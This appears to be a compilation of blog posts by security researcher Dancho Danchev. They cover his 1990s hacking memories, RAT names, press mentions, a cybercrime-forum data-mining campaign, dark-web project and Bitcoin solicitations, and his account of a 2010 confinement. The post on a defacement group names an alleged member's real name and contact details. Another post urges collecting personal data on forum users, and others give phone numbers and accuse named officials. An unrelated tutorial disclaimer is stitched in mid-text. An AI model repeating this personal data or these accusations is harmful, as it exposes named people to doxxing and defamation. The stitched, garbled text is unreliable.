Cyber Warfare experts including a Cyber Security and Hacking Community called

[3]**Offensive Warfare** including a Bitcoin soliciting bid on the Dark Web for the upcoming

launch of a proprietary custom-based Virtual Reality Social Network for Hackers and Security

Experts called **[4] Cybertronics (dzxvmqrl3rjxbzuer6vv5ejahniz2nefqxfmwspfmvzjo4x**

xzm7n4xad.onion) including the usual interview spree in an attempt to land a permanent job

position as I’ve been working on a variety of personal and proprietary Security and OSINT

projects.

6978

In this post I'll walk you though the story of my disappearance including a brief introduction

and explanation of my "hacker enthusiast" years circa the 90's where I've been busy doing

"lawful surveillance" and "lawful interception" throughout my teenage years while I was not

busy working full-time with several H/C/P/A (Hacking/Cracking/Phreaking/Anarchy) groups as

a full-time member practically setting up the foundations of the Threat Intelligence market

segment a few years later including the basics of Technical Collection type of position

including Independent Contractor working under NDA in a post 9/11 World including a

personal greeting to everyone who's been approaching me and reaching out offering support

and technical and operational "know-how" including general "say hi" advice.

I want to express a personal gratitude to a good old research friend - **[21] Internet**

Anthropologist - who actually **[22] initiated a track-down action and managed to indirectly**

find me circa 2010 with the help of international and Bulgarian law-enforcement including

fellow colleagues and friends from the Security Industry and U.S Intelligence Community circa

2008-2013 who attempted to track me down and find out more about my disappearance.

In this post I'll discuss my visit to the GCHQ circa 2008 with the Honeynet Project including an

in-depth discussion on my "lawful interception" and "lawful surveillance" experience circa the

90's throughout my teenage hacker years including an in-depth discussion on the hacking

Scene that I was proud to be a member of throughout the 90's having successfully

participated in a variety of community and commercial projects including a personal thanks

to the following friends and colleagues for offering support and keeping track of my research:

6980

• **[23] Jamie Riden** for making a personal contribution to my PayPal account for research

purposes

• **[24] Steve Santorelli** from Team Cymru for expressing interest in a proprietary Threats

Database

• **[25] Michal Salat** for participating in a brief trial of my Threat Data service

• **[26] Ian Cook** for making a personal introduction to my current part-time employer **[27] KCS**

Group Europe

• **[28] Jeffrey Bardin** from Treadstone71 who reached out and offered employment opportu-

nity

• **[29] Harrison Cook** who's been persistently donating and reaching out to support the Of-

fensive Warfare 2.0 community

• **[30] John Young** from Cryptome.org who helped spread the word about the Offensive War-

fare 2.0 Community

• **[31] Liran Sorani** from Webhose for the opportunity to participate in a part-time project

An In-depth Analysis of the Hacking Scene circa the 90's through the prism of Dancho

Danchev also known as tHe mAnIaC:

6982

In a World where we've successfully set the foundation of offensive clandestine and

psychological operations including the foundations of Technical Collection and the

foundations of the [32]**Threat Intelligence market segment** including the persistent emphasis

on cyber threats facing U.S Government and U.S National Infrastructure in the context of

enriching and disseminating actionable Threat Intelligence on a variety of U.S Intelligence

Community including academic partners throughout the past decade successfully leading me

to participate in a Top Secret GCHQ Surveillance and Monitoring Program basically keeping

track of hackers and security researchers on Twitter for proactive Cyber Defense and OSINT

purposes called " **[33] Lovely Horse**" including a possible "4th Party Collection" trend-setting

initiative circa 2008-2013 labeling some of my research as a possible "4th Party Collection"

partner of U.S Intelligence Community including the [34] **tracking and take down of the**

Koobface botnet including my experience as a Managing Director of "The Underground" also

known as **[35] Astalavista Security Group's** Astalavista.com (**[36] Security Interviews - Part**

01; **[37] Security Interviews - Part 02**; **[38] Security Interviews - Part 03**) throughout

2003-2006 with my ex-girlfriend now partner in life - Yordanka Ilieva - when we used to rock

the boat - and are prone to do so. Takes you back doesn't it? Keep reading.

6983

Personal Photo of bedroom hacker - today's leading expert in the field of cybercrime

research security blogging and threat intelligence gathering - Dancho Danchev also known

as the tHe mAnIaC circa the 90's with his hacker girlfriend - Yordanka Ilieva - including

various personal projects circa the 90's

This guide is for educational purposes only I do not take any responsibility about anything happen after reading the guide. I'm only telling you how to do this not to do it. It's your decision. If you want to put this text on your Site/FTP/Newsgroup or anything else you can do it but don't change anything without the permission of the author.I'll be happy to see this text on other pages too.

All copyrights reserved.You may destribute this text as long as it's not changed.

<--=--=--=--=--=--=--=-->
Author Notes:

I hope you like my texts and find them useful.
If you have any problem or some suggestion feel free to e-mail me but please don't send mails like "I want to hack the US government please help me" or "Tell me how to blind a trojan into a .jpg" "WHere can I get a portscanner" etc.....
Be sure if I can help you with something I will do it.
I've started writing security related tutorials and I hope you like that.I'll try to cover much more topics in my future texts and I want to thank to all of the people that like my texts.

6988

• **I happen to have directly established a connection with one of the primary Sub7 Trojan**

Horse authors HeLLfiReZ which makes me pretty close to **[39] Steve Gibson** in one way or

another - throughout the 90's where we exchanged Trojan Horse samples while I was busy

working for Trojan Defense Suite and the infamous Lockdown2000 anti-trojan software

suite where I was busy working on signatures and help-guides compilation while I was also

busy being a member of several hacking groups primarily found on the Cyberarmy.com

Top 50 Hacking List including Progenic.com Top 100 hacking sites list.

• **Mail-bombing was a trend** - in particular my personal experience of making jokes with

friends who were unable to take care of 100+ email messages in their Inbox

• **Mass-Mailing List subscription -** in particular the fact that my friends were not capable of

finding a productive way to get rid of the messages and unsubscribe themselves

• **Telephony Denial of Service attack circa the 90's** exploiting a popular for Eastern Europe

Mail2SMS mobile provider feature - in particular the fact that it's not necessarily a pleasant

experience to get rid of 100+ SMS messages received in a short-period of time

6989

• **"Lawful Interception" of friends** - something else that I'm not particularly proud of is my

"lawful surveillance" and "lawful interception" experience and capabilities of people that

I knew and that I used to know largely driven by the need to explore and learn more

• **Corporate Experience in the field of anti-trojan detection technologies and categoriza-**

tion - in particular my experience in creating trojan horse signatures and writing actual

technical descriptions for the purpose of improving my employer's overall detection rate

for a variety of trojan horse vendors circa the 90's.

Do you remember my work from the 90's? Are you familiar with the Scene circa the 90's?

15.8.8 Massive Portfolio of APT (Advanced Persistent Threat) and RAT (Remote Ac-

cess Tools) Domains Spotted in the Wild - An Analysis (2019-09-20 17:17)

In a world dominated by thousands of currently active APT (Advanced Persistent Threat) cam-

paigns also known as Remote Access Tools (RATs) including trojan horses it's worth pointing

out that novice cybercriminals continue relying and actively utilizing a variety of commercial

and publicly obtainable DIY (do-it-yourself) Remote Access Tools (RATs) for the purpose of

committing cyber espionage and launching malicious and fraudulent cyber espionage themed

campaigns targeting thousands of users including companies and nation-state actors.

6991

In this post I'll provide actionable intelligence on some of the most popular RAT (Remote

Access Tools) currently utilized for APT (Advanced Persistent Threat) type of nation-state

sponsored and tolerated cyber espionage themed campaigns including an in-depth discussion

on a massive domain portfolio of currently active C &C server IPs

known to have participated in

a variety of APT (Advanced Persistent Threat) type of cyber espionage campaigns throughout

2015-2019.

Among the most popular APT (Advanced Persistent Threat) and Remote Access Tools

(RATs) releases based on my public and proprietary sensor network remain the following

currently obtainable commercial and publicly obtainable tools:

• Casa RAT

• Bandook RAT

• Dark Comet Rat

• Cerberus

• Cybergate

• Blackshades

• Poison Ivy

• Schwarze Sonne RAT

• Syndrome RAT

• Team Viewer

• Y3k RAT

• Snoopy

• 5p00f3r.N $ RAT

• SpyNet

• P. Storrie RAT

• Turkojan Gold

• Bifrost

• Beast

• Shark

• Pain RAT

• xHacker Pro RAT

15.8.10 Historical OSINT - Dancho Danchev's Media and News Coverage - 2008-2013

(2019-09-20 17:25)

Dear blog readers I wanted to take the time and effort and summarize all the currently related

news media articles referencing me and my research throughout the period - 2008-2013 and

wanted to express my gratitude to everyone who approached me seeking my assistance in an

upcoming news article including those who participated in the search for me circa 2010 and I

wanted to let everyone know that users interested in approaching me regarding potential news

stories including conference presentations and possible threat intell requests can approach

me at disruptive.individuals@gmail.com

Stay tuned!

7071

Research and News Articles covering my research and referencing me throughout - 2008:

• [1]Russian hacker ’militia’ mobilizes to attack Georgia

• [2]Fraudsters Target Facebook With Phishing Scam

• [3]Fake Microsoft e-mail contains Trojan virus

• [4]Hackers expand massive IFRAME attack to prime sites

• [5]Hackers infiltrate Google searches

• [6]Hackers expand massive IFrame attack to prime sites

• [7]Hackers knocked Comcast.net offline

• [8]Adobe investigates Flash Player attacks

• [9]High-tech bank robbers phone it in

• [10]Attackers booby-trap searches at top Web sites

• [11]Carpet bombing networks in cyberspace

• [12]Storm worm e-mail says U.S. attacked Iran

• [13]India's underground CAPTCHA-breaking economy

• [14]Domain Name Record Altered to Hack Comcast.net

• [15]Google searchers could end up with a new type of bug

• [16]Ongoing IFrame attack proving difficult to kill

• [17]Hackers expand massive IFRAME attack to prime sites

• [18]Danchev: The small pack Web malware exploitation kit

• [19]Danchev: Massive SQL injection the Chinese way

• [20]CAPTCHAs are dead - new research from Dancho Danchev confirms it

• [21]Hackers infiltrate Google searches

• [22]Massive faux-CNN spam blitz uses legit sites to deliver fake Flash

• [23]Faked CNN spam blitz pushes fake Flash

• [24]Danchev: Anti-fraud site DDOS attack

• [25]Sony PlayStation site victim of SQL-injection attack

• [26]Fake CNN Alert Still Spreading Malware

• [27]Look Ma, I'm on CIA.gov

7072

Research and News Articles covering my research and referencing me throughout - 2009:

• [28]Green Dam exploit in the wild

• [29]"In gaz we trust": a fake Russian energy company facilitating cybercrime

• [30]Don't pay your ransom via SMS

• [31]NYT scareware scam linked to click fraud botnet

• [32]Danchev: A crimeware developer’s to-do list

• [33]Danchev rained on my scareware campaign

• [34]Is “aggregate-and-forget” the future of cyber-extortion?

• [35]NYT scareware scam linked to click fraud botnet

• [36]Microsoft declares war on ’scareware’

• [37]Don’t pay your ransom via SMS

• [38]Twitter warms up malware filter

• [39]What’s really the safest Web Browser?

• [40]With Unrest in Iran, Cyber-attacks Begin

• [41]Zeus bot found using Amazon’s EC2 as C &C server

Research and News Articles covering my research and referencing me throughout - 2010:

• [42]Firefox add-on encrypts sessions with Facebook, Twitter

• [43]Watch out for malware with those pretty Mac screensavers

• [44]Months-old Skype vulnerability exploited in the wild

• [45]Danchev: Money mule recruiters

• [46]Cybercrime’s bulletproof hosting exposed

• [47]Malware Threatens to Sue BitTorrent Downloaders

• [48]Firefox add-on encrypts sessions with Facebook, Twitter

7073

• [49]Chuck Norris Botnet Karate-chops Routers Hard

Research and News Articles covering my research and referencing me throughout - 2011:

• [50]Kaspersky disputes McAfee’s Shady Rat report

• [51]Has EV-SSL Growth Been Slow?

• [52]Report: Vishing Attack Targets Skype Users

Research and News Articles covering my research and referencing me throughout - 2012:

• [53]Fake UPS notices deliver malware

• [54]ZeuS/Zbot Trojan Spread Through Rogue US Airways Email

• [55]New Skype malware threat reported: Poison Ivy

• [56]Five Koobface botnet suspects named by New York Times

• [57]Virtual jihad: How real is the threat?

• [58]Is the death knell sounding for traditional antivirus?

• [59]Can the Nuclear exploit kit dethrone Blackhole?

• [60]Experts split over regulation for bounty-hunting bug sniffers

Dear blog readers,

Surprise, surprise!

I wanted to let everyone know that I've spend a decent portion of

my time crawling and actually harvesting and data mining 78 high-profile public Cybercrime

Forum Communities basically consisting of 1M raw OSINT data Web site pages harvested and

ready for processing and enrichment. Dare to join the campaign? Keep reading and drop me

a line at ddanchev@cryptogroup.net to coordinate and discuss including details on how to

obtain free access to the 2019 Cybercrime Forum Community Data Set which is basically 18GB

comprising of 1M crawled and harvested Web sites from the most popular Public Cybercrime

Forum Communities.

Timeline of the Project including What You Need to Participate with the Ultimate Goal

to Track Down the Individuals Behind These Communities and Actually Take Them Down:

• Drop me a line at ddanchev@cryptogroup.net and let me know that you've downloaded

it and that you're currently interested in participating in the project

• Please coordinate with me what you plan to do with the archive in terms of possible raw OS-

7081

INT enrichment and automated Social Network Analysis including sharing it with your Law

Enforcement contacts or colleagues in your organization at dancho.danchev@hush.com

• Grab a copy of Open Desktop Semantic Search - https://www.opensemanticsearch.org and

process the archive

• Grab a copy of Solr-Powered Local Yacy Search Engine - https://yacy.net and process the

archive

• Grab

a

copy

of

Carrot2

–

Open

Source

Search

Results

Clustering

Engine

-

https://project.carrot2.org/ and connect it with Solr-Powered Local Yacy Search Engine and

start processing the results and share the results with me at dancho.danchev@hush.com

• Grab a copy of the following Statistical graphs generating tool - https://github.com/ko-ichi-

h/khcoder and begin working on the archive

The Objectives List:

• Gather as much evidence for participation in fraudulent activity and shut down the com-

munity

• Collect as much personal information as possible including IoCs (Indicators of Compro-

mises) Web site URLs including personal IM accounts and personal email addresses

• Publicly publish the results of the crowd-sourced raw OSINT enrichment project campaign

and ask everyone to reach out to their contacts in U.S Intelligence Community and interna-

tional Law Enforcement to share the data and actively participate in

the actual prosecution

of the individuals behind these Cybercrime Forum Communities and the actual take-down

process

• Share the data-set with as many academic Security Industry U.S Intelligence and interna-

tional Law Enforcement contacts as possible

Drop me a line at ddanchev@cryptogroup.net and let's get the campaign going!

The results? Check out the following enriched raw OSINT graph which I managed to cre-

ate for research purposes and to motivate you to participate.

15.10.1 New Commercial Security Research OSINT Cybercrime Research and

Threat Intelligence Gathering Services Portfolio Available On Demand!

(2019-11-02 18:14)

7147

Dear blog readers,

I wanted to let everyone know of a currently active commercial portfolio of services that

I'm publicly offering for the purpose of reaching out to colleagues and friends including

companies vendors and organizations who might be interested in working with me for the

purpose of obtaining access to never-published before Security Research analysis reports

briefs podcasts and various other commercially obtainable virtual and cyber assets that you

and your organization can take advantage of.

Approach me at - dancho.danchev@hush.com today to discuss!

Key Commercial Services that I'm currently offering include:

• [1]**Security Services**

• [2]**OSINT Services**

• [3]**Hacking Services**

• [4]**Intelligence Services**

• [5]**Geopolitical Services**

Including the following commercial services available on [6] Patreon Community:

• Real-Time Security Consultation

• Security Newsletter

• Cybercrime Blog Post

• Security Podcast

• Malware Analysis

• Threat Intelligence Analysis

• Security Workshop

• OSINT Analysis

• Geopolitical Analysis

• Threat Actor Profiling

• National Security Analysis

• Cyber Jihad Analysis

• Dark Web Intelligence and OSINT Analysis

• Security Presentation

• Cyber Security Business Development

• Red Team Penetration Testing Assessment

7149

• Blue Team Penetration Testing Assessment

• Target of Opportunity Targeting

• Cybercrime Forum Monitoring

• Underground Chatter Monitoring

• Network Deception Consultation

• Military Scenario Building

• Cyber Warfare Scenario Building

• OSINT Enrichment and Data Mining

• Cyber Warfare Program Estimation

• Weapons System Analysis

• Cyber SIGINT and Cyber Assets Discovery

Stay tuned!

15.10.2 Dancho Danchev's Primary Contact Points - 2019 (2019-11-02 19:02)

Dear blog readers, in this post I'll provide and feature my primary contact points for 2019

in order for you to approach me regarding possible research feedback research requests job

career opportunities and possible event presentations.

Users interested in approaching me regarding a possible participation in classified or

sensitive projects including possible job career opportunities and Threat Data access requests

can approach me at - dancho.danchev@hush.com

Looking forward to hearing from you!

Enjoy!

15.10.3 Exposing Russia's Most Wanted Cybercriminals - An OSINT Analysis

(2019-11-02 19:03)

15.11 December

15.11.1 New Cybertronics - VR for Hackers and Security Experts Dark Web Onion

Address (2019-12-02 10:15)

[1]

Dear blog readers,

I wanted to let everyone know that I've recently changed the official Dark Web Onion

address for my Cybertronics - VR for Hackers and Security Experts Project including the actual

Bitcoin donation address.

G0t

Bitcoin?

Consider

going

through

the

project

proposal

today

-

http://
lkziheppr lhxtvbutjedoazbsqd4avmifhpjms3zuq7itceiu4qajwad.onion/

includ-

ing

to

make

a

possible

Bitcoin

donation

using

the

following

Bitcoin

Address:

3J8Jt7XCBGtCL6XRLTWhKfRQBmhhqGs4aP

I wanted to say a big thanks to everyone who approached me in terms of the project in-

cluding to actually make a donation. The official schedule release is scheduled for January,

2020 and I'll make sure to keep everyone posted on current and future project updates.

Stay tuned!

15.11.2 Official World Hacker Global Domination Group (WHGDG) Dark Web Onion

Launch! (2019-12-02 10:16)

7151

Dear blog readers,

I've been spending more time on the Dark Web these days including the active launch-

ing of a second Dark Web Onion and the official launch of the World Hacker Global Domination

Group (WHGDG) which is basically a Call for Papers Call for Participation and Call for Innovation

request on behalf of me for the purpose of reaching out to the U.S Intelligence Community as

an independent contractor for the purpose of presenting and eventually getting funding for a

variety of commercial cyber security and hacking including Threat Intelligence and Offensive

Cyber Warfare Projects including the active recruitment of new members.

Check out the Official Dark Web Onion:

http://nexvibpe4xszfx4cp2jldkdyhnjnah5qnckoagoiry3vpyv5eheh55id.onion/

and

don't

forget to visit Cybertronics - Virtual Reality Social Network for Hackers and Cyber Se-

Dancho Danchev

@danchodanchev

Founder and Chief Executive Officer at Stealth Startup, Cybercrime Researcher, Security Blogger at Webroot Inc.

en.wikipedia.org/wiki/Dancho_Da...

How you can participate?

• Visit the Dark Web Onion and go through the Call for Participation Call for Papers and Call

for Innovation and approach me at ddanchev@cryptogroup.net in case you believe that

you can contribute with knowledge data and expertise including the technical "know-how"

to participate in any of the Key Points mentioned in the Dark Web Onion

Stay tuned for a major Web Site update by the end of the week including the production of

an extremely popular Security Podcast Security Vlog and an additional set of never-published

before possibly classified and sensitive Technical Data and Cyber Security and Hacking

resources.

Enjoy!

15.11.3 Dancho Danchev's Twitter Account - 2010 - Direct Download Link - Historical

OSINT (2019-12-02 10:19)

Dear blog readers,

Takes you back doesn't it?

I've decided to share with you a **[1] direct download link** of

my old **[2] Twitter account** for you to download and go through and to say big thanks to ev-

eryone who's been keeping in touch with me throughout 2008-2013 including actual research

work and related research inquiries.

Consider going through the archive and catching up with some of my research circa

2010-2014 and approach me - ddanchev@cryptogroup.net with your feedback or just to say

hi in case you remember some of the research which I used to publish back then.

15.11.6 Announcing New Hacking Security and Hacktivism-Themed Online Forum

Community! Join me Today! (2019-12-12 19:00)

Dear blog readers,

I've recently launched an extremely popular and comprehensive Hacking and Security

possibly Hacktivism-Themed Online Forum Community called "[1]**Security is Futile**" using the

extremely popular [2]**PlushForums** Platform consisting of over 193 Hacking and Security

Topic Categories.

7157

The initial idea behind launching the community is to spread data information and knowledge

and to provoke discussion into various hot Hacking and Security topics including to solicit

high-profile VIP Hacker and Security Experts to actually join the community and contribute

with content.

Official "Security is Futile!" Hacking and Security Forum Community URL:

Dear blog readers,

I wanted to let you know that I’ve been spending more time doing active Security Indus-

try outreach in terms of the [1]**2019 Cybercrime Forum Data Set** and that I’ve already started

working with several vendors in terms of possible OSINT enrichment and actual processing of

the data.

Perfect timing to say thanks to **Ilya Timchenko** and **McAfee** for actually reaching out and

managing to process the following artifacts from the actual Data Set which I’ve decided to

publicly share with everyone who reaches out and expresses interest

in working with me on

the Data Set with the idea to possibly assist the Security Community and Law Enforcement

in terms of tracking down the individuals behind these campaigns and actually shutting them

down.

Possible Personally Identifiable Artifacts Found in the Actual Data Set Include:

7159

• [2]**Cybercriminal Cryptocurrency Addressess**

• [3]**Cybercriminal Emails**

• [4]**Cybercriminal ICQ Numbers**

• [5]**Cybercriminal Phone Numbers**

• [6]**Cybercriminal QQ IDs**

• **[7] Cybercriminal Telegram IDs/ [8] Telegram IDs**

• [9]**Cybercriminal Dark Web Onion Addresses**

• [10]**Cybercriminal Viber Accounts**

• [11]**Cybercriminal VK Accounts**

• [12]**Cybercriminal XMPP Accounts**

Including the following massive update courtesy of me including all the publicly obtainable

[13]**Email Addresses** obtained from the 2019 Cybercrime Forum Data Set including all the

publicly obtainable [14]**IP Addresses** obtained from the 2019 Cybercrime Forum Data Set

which appear to be mostly Socks4/Socks5 and publicly accessible compromised hosts used

for "island-hopping" tactics.

I’ll be posting an updated set of analysis and data regarding the currently ongoing [15]**Law**

Enforcement and OSINT Intelligence Operation "Uncle George" anytime soon.

Approach me at ddanchev@cryptogroup.net in case you’re interested in working with

me on this project or want to obtain access to the actual Data Set for possible OSINT enrich-

ment and research purposes.

Stay tuned!

15.11.8 Happy Holidays! (2019-12-23 20:08)

Dear blog readers,

It's been a pleasure and an honor to serve your needs since December, 2005 when I've

officially opened this blog while working as a Managing Director for Astalavista.com - The

Underground and I sincerely hope that you'll continue to find my research informative and

quality enough to further recommend my personal blog to friends and

colleagues including to

possibly approach me in terms of seeking additional information regarding a particular blog

7161

post or to actually "say hi" and "keep up the good fight" type of message.

My 2020 primary contact points include:

Personal Email - ddanchev@cryptogroup.net

Social Media Accounts - [1]Twitter, [2]LinkedIn, [3]Facebook, [4]Angellist, [5]YouTube,

[6]Medium

IM and Skype ID: [7]dancho _danchev _

Web properties that I'm currently running include - [8]Offensive Warfare 2.0 and [9]Unit-

123.org

XMPP/OMEMO ID for Real-Time Conversation:

90184@armadillophone.com which is ba-

sically compatible with [10]ChatSecure [11]Conversations and [12]Dino - feel free to install

any of these applications in case you're not using them already and feel free to "say hi".

Happy holidays and thanks a lot for everyone who's been keeping in touch and keeping

up the good fight!

15.11.9 Exposing High Tech Brazil Hack Team Mass Web Site Defacement Group - An

OSINT Analysis (2019-12-27 15:38)

7162

It's been a while since I've last posted on quality update further detailing the inner workings

of a high-profile and prominent Web Site Defacement group that has managed to successfully

compromise thousands of Web sites internationally that also includes

Bulgaria's National

Security Agency (DANS) - hxxp://dans.org Web site.

In this post I'll provide actionable intelligence including personally identifiable informa-

tion on the people and the gang behind the campaign including an in-depth analysis of their

tactics techniques and procedures including personal photos and social media accounts of the

infamous High Tech Brazil Hack Team whose responsible for having successfully defaced over

5,000 legitimate Web Sites internationally.

Team Members Include:

- crazyduck - Real Name: Fabian de Souza Peralazzo

- otrasher - Email: Otrasher@live.com - Social Media Account - https://twitter.com/b1tchx

-

- l34NDR0

- wicked

- live

- Smoker

Sample Photos of High Tech Brazil Hack Team Team Members:

I'll be soon posting an additional set of details on the High Tech Brazil Hack Team and

I'll be definitely looking forward to sharing the necessary details with the Security Industry

and Law Enforcement in an attempt to track down and prosecute the individuals behind these

campaigns.

Stay tuned!

Dear blog readers,

Surprise, surprise.

After a decent period of time while I was busy working on several

high-profile **[1] personal projects** I can finally let everyone know that I've just joined forces

with team Box.sk the original owner of the infamous **[2] astalavista.box.sk** search engine for

cracks and serials and that I've launched a high-profile blog on the Box.sk domain including

several high profile upcoming Hacking Security and Privacy projects.

How you can help? Bookmark the blog today and consider giving me

a hand with build-

ing a high-profile Newsletter of friends and colleagues and blog readers by subscribing

[3] here.

16.1.2 New Report - "A Qualitative and Technical Collection OSINT-Enriched Analysis

of the Iranian Hacking Scene Through the Prism of the Infamous Ashiyane

Digital Security Team" - Grab a Copy Today! (2020-01-27 16:18)

Dear blog readers,

It's a pleasure and an honor to let you know of a recently released commercially available

report on Iran's Hacking Scene entitled - "A Qualitative and Technical Collection OSINT-Enriched

7204

Analysis of the Iranian Hacking Scene Through the Prism of the Infamous Ashiyane Digital

Security Team" which is priced at $500 for unlimited distribution copies within your Team and

Organization and can obtained from **[1] here**.

An excerpt:

" *In a cybercrime ecosystem dominated by fraudulent releases and nation-state actors*

including possible high-profile "sock-puppets" and cyber proxies type of rogue and potentially

superficially engineered cyber warfare tensions it should be clearly noted that a modern

OSINT and virtual HUMINT actionable threat intelligence analysis of major and prominent

cyber actors should take place for the purpose of setting up the foundations for a successful

cyber actor monitoring including possible offensive and couter-offensive tactics techniques

and procedures for the purpose of profiling and acting upon the gathered and monitored

intelligence should take place through the automated and systematic Technical Collection

and OSINT enrichment of the gathered data for the purpose of empowering the necessary

decision-makers and third-parties with the necessary data information and knowledge includ-

ing hands-on tactical and strategic intelligence to work with and act upon. "

Another excerpt:

" *In this report I'll provide in-depth analysis of the Iranian Hacking Scene and potentially*

its use of offensive and defensive cyber warfare practices including possible capability

measurement and estimation in terms of technical capabilities and offer in-depth technical

and qualitative analysis of some of the key factors that actually drive the Iranian Hacking

Scene including in-depth Technical Collection material and OSINT gathered artifacts to assist

in the process of acting upon the growing threat posed by Iranian Hackers and the Ashiyane

Digital Security Team internationally with the idea to empower decision-makers and the

Industry including third-party stakeholders with the necessary analysis to act upon and take

measures against in terms of offensive and defensive cyber warfare operations and actual Law

Enforcement tracking down and prosecution including never-published and released before

personally identifiable information on the Ashiyane Digital Security Team including its key

members including a never-published before Social Network Analysis Graph of Iran's Hacking

Scene and Iran's Hacking Underground. "

Interested in obtaining a copy?

Approach me at dancho.danchev@hush.com today and

inquire about purchasing it and I'll shortly get back to you with additional details on how to

obtain copy of the report.

16.2.1 Dancho Danchev's Disappearance - 2010 - Official Complaint Against Republic

of Bulgaria (2020-02-03 10:41)

Dear blog readers,

7206

Bulgarian News Reports Dancho Danchev Institutionalized

Monday, January 17, 2011

Contributed By: Headlines

An article on Bulgarian news website "Dnevnik" reports that security researcher Dancho Danchev was placed in a mental hospital in early December of last year.

Danchev, an information security researcher and author, was reported as missing since late summer 2010, according to an article in New Zealand based ZDNet.

Danchev was thought to have disappeared under mysterious circumstances after an unnamed source revealed they had received a letter in September of 2010 in which Danchev outlined concerns that he may be under surveillance from the Bulgarian government and could face prosecution.

Circumstances surrounding Danchev's apparent admission to a mental hospital are unclear, but a rough translation of the Dnevnik article on Dachev's institutionalization is as follows:

Dancho Danchev, an expert on cybersecurity, is accommodated in a Bulgarian hospital. The information was confirmed by two sources of "Diary", although from the hospital refused comment.

As Wired magazine announced a few days ago, he disappeared in September 2010 and did not meet their coordinates. Twenty-six year old Dancho Danchev writes for the blog Zero Day, part of the news site zdnet.com. His last post there is from August 2010

In early September, sent an e-mail to the editors of zdnet.com , informing them that the bathroom he installed listening devices. In addition, attached photos of the electric transformer and torn wires on the bulbs. In his letter Dancho Danchev said that the Bulgarian intelligence services monitor it because it was recommended by the FBI Attaché in Sofia for an expert in the local center against computer threats.

Then keep track of Dancho Danchev disappear, but according to reliable source of "Diary" he hospitalized from December 11 onwards. It is now stabilized and will soon be discharged, our source said.

Expect more details

ZDNet had reported they received a tip from a Bulgarian source who indicated Danchev was in some sort of serious predicament which prevents him from making contact.

"Dancho's alive but he's in a lot of trouble," the source was quoted as saying.

Dancho Danchev is is highly reputable malware researcher and blogger who has made significant contributions to the information security field.

As it's been eight years since my **[1] disappearance and possible kidnapping** and harass-

ment attempts - I wanted to seek my blog reader's urgent assistance through email and

possibly phone - regarding my disappearance with anyone out there who knows or have

information regarding what took place in 2010 - including current and former colleagues law

enforcement colleagues and Intelligence Community partners.

I've been recently featured at **[2] WikiLeaks** including the **[3] Snowden archive** including a

[4] SCMagazine nomination and can be reached at dancho.danchev@hush.com or you can

leave a message at - +1 646 419 4540 or reach out to me directly on my mobile - +359 87

68 93 890 or use this XMPP/OMEMO user ID for real-time communication - 90184@armadillo-

phone.com

7207

The case of Dancho Danchev's going missing is now beginning to turn into a story of either potential mental illness, or, that of a classic tale of Bulgarian secret services removing a problem. It would seem that today, after Dancho's being missing since September, reports are coming out that he was in fact in a mental health facility per his mothers request. The story is still coming to light, but, the case does present some interesting ideas for anyone in the information security business like Dancho or others (@ioerror etc) who might poke certain forces in the eye with their research and reporting.

In the case of Dancho, he seemed to be indicating by the email sent before his disappearance, that he felt he was being surveilled electronically as well as perhaps physically. The images in the email are not conclusive of anything that would indicate a bug or surveillance system had been placed in his house. However, this is not to say that the inverter that he found could not have been used in some way for such a system. Usually such bugs are small and powered by batteries or, in the case of the higher tech ones, piggyback off the power of the phone lines or hard wire electrical systems. Depending on the power requirements though, the inverter may have indeed been something that was used to alter power for operational function.

Surveillance technology aside, the fact is that Dancho, who's blog I am only now coming aware of, does have some potential information that could have poked the wrong badger. The badger in this case would be Eastern bloc baddies who are making money off of botnets and malware that Dancho was revealing in his ZDnet blog and his blogspot. He perhaps hit a little too close to home for someone and they just made a call to the state security apparatus. Or, maybe in fact, he has begun to manifest symptoms of schizoid behavior, he is after all, in the right age range to do so. However, given a read through his writings online, I cannot at present see anything that leads me to believe that he is manifesting a mental illness here. His postings are cogent and have none of the aphasia characteristics that would lead anyone to believe he is ill.

Current situation:

- illegal arrest using stolen ID kidnapping and trashing of my place including illegal relo-

cation to an unknown location in the town of Lovech without a single word on the reason for

stealing my ID and holding me confined there for a period of three months

- twisted arm

- twisted eye

- assault by my father and three police offers

- my mother took the liberty to steal my personal ID circa 2010 and hand it over to three

unknown police officers and pay for the unknown car fuel using her company’s name and take

me to live in an unknown location and actually made it to this [5]**blog**

- something appears to be wrong my eye

- something appears to be wrong with my neck

- something appears to be wrong with my nose

- I’m currently experiencing a pressure on my arm

7208

Zdraweite,

Kazvam se Dancho Danchev, [redacted] jivush, na [redacted], s mobilen telefon +359 87 68 93 890 – moje da mi napishete saobshtenie – dete sum - svetoven, specialist, v, sferata, na komputerna, sigurnost, I dnes reshih da podam, jalba signal, otnosno izqsnqvane na grajdansko polojenie, prava, izqsnqvane, na, obstoqtelstva, I pravonamesa za lishavane ot prava I intelektualna sobstvenost, I finansovo imushtestvo, s izqveno jelanie, da polucha ednostranen konkreten otgovor otnoso situaciqta bez da bude obezpokoqvano men I moeto semeistvo - zashtoto to izglejda neznae.

V godinata 2010, nepoznato psihichno bolno lice nahluva v kushtata mi I mi vadi dokumenti s drugo nepoznato lice koeto sushto e nahlulo v kushtata mi I go chaka na stulbite. Na sledvashtiq den trima policeiski, slujeteli or RPU Troyan, s medicinska sestra, nahluvat, v, staqta, v koqto, spq, I bez, da, mi, davat, obqsnqnie, me, nakarvat, da, se, obleka, sled koeto, mi, pokazvat kopie, ot lichnata mi, karta, koqto, ne, sum, predostavql, I me otvejdat - kato me izdurpvat - s, nepoznata, kola, parkirana, pred, kushtata, kum, netazpnena, posoka, kato, po, puta, prepisvat, gorivoto, za, prevoza, na, firmata, v koqto, raboti, moqta, maika, firma, Lesoplast, sled, koeto, me, otvejdat, v, psihiatrichno, zavedenie, grad, Lovech, sled, koeto, me, zavejdat, v, karcer, za period ot 3 meseca i, sled, koeto, bez, da, mi, bude, davano, obqsnenie, zapochvat, da, mi, slagat, injekcii, po tri puti na den bez, da, mi, bude, davano, obqsnenie, za, zadurjeneto, mi.

Blagodarq.

Pozdravi,

Dancho

- harassment by a DANS agent named Vasil Stanev

- which leaves in a home molestation situation with no sign of legal action and law en-

forcement assistance

The results:

- $80,000 personal amount lost due to harassment and vandalism

- I didn’t get an actual copy of the document that my equipment was interfering with

that of the local police station

- my mother stole my ID for a second time to enlist me in social security services

- the DANS agent that visited me - Vasil Stanev - asked me to attend a doctor session

and asked me to work for him and made a copy of a research document in my place

Local Names of Local (City of Troyan, Republic of Bulgaria) Inspector Names responsi-

ble for the illegal entry in my place including the illegal stealing of my Personal ID including

the illegal 3 months illegal presence in another town confined:

[redacted]

